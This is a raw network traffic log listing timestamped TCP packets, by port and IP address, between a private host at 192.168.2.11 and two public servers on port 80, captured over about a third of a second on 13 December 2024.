Dec 13, 2024 08:20:08.883604050 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.883663893 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.883706093 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.884543896 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.884591103 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.884594917 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.884637117 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.885520935 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.885585070 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.885668039 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.885710001 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.886518002 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.886567116 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.886603117 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.886658907 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.942172050 CET	80	49943	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.942373037 CET	80	49943	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.942679882 CET	49943	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.943970919 CET	49943	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.949002028 CET	80	49946	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:08.949083090 CET	49946	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:08.949115992 CET	80	49937	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:08.949168921 CET	49937	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:08.967019081 CET	49946	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:08.983107090 CET	80	49939	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.983186007 CET	80	49947	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.983216047 CET	49939	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.983299971 CET	49947	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.006803036 CET	49947	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.012837887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.012913942 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.012922049 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.012970924 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.013267040 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.013317108 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.013365030 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.013407946 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.014238119 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.014278889 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.014360905 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.014403105 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.015212059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.015253067 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.015333891 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.015376091 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.016181946 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.016300917 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.016334057 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.016361952 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.017196894 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.017262936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.017307043 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.017349005 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.018183947 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.018249989 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.018310070 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.018353939 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.019145012 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.019205093 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.019244909 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.019293070 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.020147085 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.020191908 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.020239115 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.020282984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.021158934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.021219969 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.021240950 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.021282911 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.022139072 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.022182941 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.022257090 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.022300005 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.023052931 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.023119926 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.023158073 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.023201942 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.024198055 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.024244070 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.024270058 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.024317026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.025038958 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.025093079 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.025121927 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.025165081 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.026071072 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.026115894 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.026133060 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.026180983 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.026998043 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.027043104 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.027149916 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.027199030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.027986050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.028037071 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.028105974 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.028147936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.028959036 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.029027939 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.029067993 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.029112101 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.029972076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.030026913 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.030329943 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.030376911 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.030916929 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.030965090 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.031141043 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.031183958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.031971931 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.032018900 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.032095909 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.032141924 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.032912970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.032973051 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.032984018 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.033030033 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.033910990 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.033962965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.033998966 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.034056902 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.034895897 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.034941912 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.034960985 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.035001993 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.035830975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.035887003 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.035903931 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.035944939 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.036772013 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.036833048 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.036875010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.036917925 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.037770987 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.037817001 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.037911892 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.037955999 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.038772106 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.038820028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.038928032 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.038970947 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.039777994 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.039824963 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.039967060 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.040009975 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.040894032 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.040946960 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.040985107 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.041026115 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.041731119 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.041775942 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.041802883 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.041841984 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.042725086 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.042818069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.042823076 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.042870998 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.043642044 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.043683052 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.043766975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.043806076 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.044657946 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.044702053 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.045084953 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.045126915 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.045675039 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.045726061 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.045772076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.045810938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.046590090 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.046633005 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.046650887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.046695948 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.047619104 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.047662973 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.047818899 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.047858953 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.048571110 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.048619032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.048718929 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.048764944 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.049561977 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.049606085 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.049700022 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.049741030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.050549030 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.050590038 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.050638914 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.050678968 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.051529884 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.051572084 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.051634073 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.051671028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.052498102 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.052545071 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.052625895 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.052669048 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.053472042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.053524017 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.053563118 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.053603888 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.054457903 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.054498911 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.054606915 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.054646969 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.055500984 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.055542946 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.055639982 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.055679083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.056406975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.056447983 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.056543112 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.056582928 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.057391882 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.057432890 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.059520960 CET	49948	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.063754082 CET	80	49943	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.073195934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.073261023 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.073271036 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.073313951 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.073733091 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.073775053 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.073802948 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.073843002 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.074671030 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.074712992 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.075110912 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.075135946 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.075154066 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.075190067 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.076028109 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.076077938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.076133013 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.076180935 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.077121973 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.077167988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.077253103 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.077302933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.077964067 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.078006983 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.078042030 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.078083038 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.078970909 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.079013109 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.086780071 CET	80	49946	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:09.126868963 CET	80	49947	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.179754972 CET	80	49948	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.179866076 CET	49948	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.182720900 CET	49948	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.205790043 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.205864906 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.205936909 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.205987930 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.206108093 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.206126928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.206157923 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.206192017 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.207079887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.207093954 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.207154036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.207411051 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.207454920 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.207586050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.207629919 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.208492041 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.208504915 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.208545923 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.208575010 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.209495068 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.209507942 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.209546089 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.209574938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.210156918 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.210167885 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.210201025 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.210249901 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.210957050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.211003065 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.211076975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.211117983 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.211921930 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.211971045 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.212054014 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.212101936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.212935925 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.212991953 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.213020086 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.213056087 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.213890076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.213954926 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.213994980 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.214041948 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.214880943 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.214924097 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.215009928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.215056896 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.215864897 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.215929985 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.215971947 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.216018915 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.216845989 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.216895103 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.216936111 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.216978073 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.217814922 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.217868090 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.217932940 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.217976093 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.218782902 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.218825102 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.218899965 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.218941927 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.219801903 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.219844103 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.219857931 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.220016956 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.222117901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.222172022 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.223189116 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.223233938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.223601103 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.223613977 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.223625898 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.223639965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.223661900 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.223664045 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.223685026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.223711967 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.223769903 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.223820925 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.223844051 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.223886967 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.225267887 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.225315094 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.225439072 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.225476980 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.226284027 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.226330042 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.226422071 CET	80	49938	185.81.68.147	192.168.2.11
